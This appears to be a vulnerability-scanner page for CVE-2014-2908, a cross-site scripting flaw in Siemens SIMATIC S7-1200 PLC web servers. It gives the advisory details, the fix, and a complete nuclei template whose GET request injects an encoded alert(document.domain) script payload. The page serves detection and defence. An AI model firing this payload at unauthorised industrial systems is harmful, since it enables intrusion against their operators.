Siemens SIMATIC S7-1200 CPU - Cross-Site Scripting

mediumseverity

4.3CVSS score

20.9%likelihood of exploitation, next 30 days

98%of all CVEs are less likely

Readycheck to confirm it

A cross-site scripting vulnerability in the integrated web server on Siemens SIMATIC S7-1200 CPU devices 2.x and 3.x allows remote attackers to inject arbitrary web script or HTML via unspecified vectors.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the affected user's browser.

Fix

Upgrade to v4.0 or later.

How to confirm it

Send: GET {{BaseURL}}/Portal/Portal.mwsl?PriNav=Bgz&filtername=Name&filtervalue=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&Send=Filter
Positive when: contains "</script><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2014-2908 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2014-2908

info:
  name: Siemens SIMATIC S7-1200 CPU - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: A cross-site scripting vulnerability in the integrated web server on Siemens SIMATIC S7-1200 CPU devices 2.x and 3.x allows remote attackers to inject arbitrary web script or HTML via unspecified vectors.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the affected user's browser.
  remediation: Upgrade to v4.0 or later.
  reference:
    - https://www.exploit-db.com/exploits/44687
    - https://cert-portal.siemens.com/productcert/pdf/ssa-892012.pdf
    - https://nvd.nist.gov/vuln/detail/CVE-2014-2908
    - http://ics-cert.us-cert.gov/advisories/ICSA-14-114-02
    - http://www.siemens.com/innovation/pool/de/forschungsfelder/siemens_security_advisory_ssa-892012.pdf
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
    cvss-score: 4.3
    cve-id: CVE-2014-2908
    cwe-id: CWE-79
    epss-score: 0.20862
    epss-percentile: 0.9757
    cpe: cpe:2.3:o:siemens:simatic_s7_cpu_1200_firmware:2.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: siemens
    product: simatic_s7_cpu_1200_firmware
  tags: cve2014,cve,xss,siemens,edb,vkev,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/Portal/Portal.mwsl?PriNav=Bgz&filtername=Name&filtervalue=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&Send=Filter'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from